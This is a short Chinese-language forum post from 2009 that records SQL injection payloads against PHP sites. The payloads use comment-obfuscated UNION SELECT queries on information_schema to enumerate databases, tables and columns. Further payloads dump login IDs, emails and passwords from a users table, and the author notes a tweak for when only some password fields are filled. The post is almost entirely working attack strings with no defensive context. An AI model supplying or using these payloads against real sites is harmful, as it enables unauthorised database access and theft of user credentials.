[入侵防御] php 注入记录一下

1 主題	0 回帖	0 積分

热心网友

金币: 0
閲讀權限: 220
精華: 0
威望: 0
贡献: 0
在線時間: 0 小時
註冊時間: 2012-2-14

發消息

發表於 2009-4-20 14:52:36 | 顯示全部樓層 |閲讀模式

暴库名＼表名＼列名

/**/union/**/select/**/unhex(hex(concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)))+FROM+information_sch
ema.columns+WHERE+table_schema!=0x696e666f726d6174696f6e5f736368656d61+LIMIT+N,1--

碰到一个字段暴不出来，问了下trace，找到了原因，是因为用户名字段是9个，但是密码字段只有4个是有值的，所以暴不出来，改了下语句可以了．

union+select+count(pasd)+from+users--

+union+select+concat(loginID,0x3a,email,0x3a,pasd)+from+users+where+length(pasd)>0+limit+N,1--

或者冰的原点提供的

/union/**/select/**/unhex(hex(group_concat(loginID,0x3a,pasd)))+FROM+users--

回覆

使用道具舉報

返回列表發新帖

[入侵防御] php 注入 记录一下

瀏覽過的版塊

[入侵防御] php 注入记录一下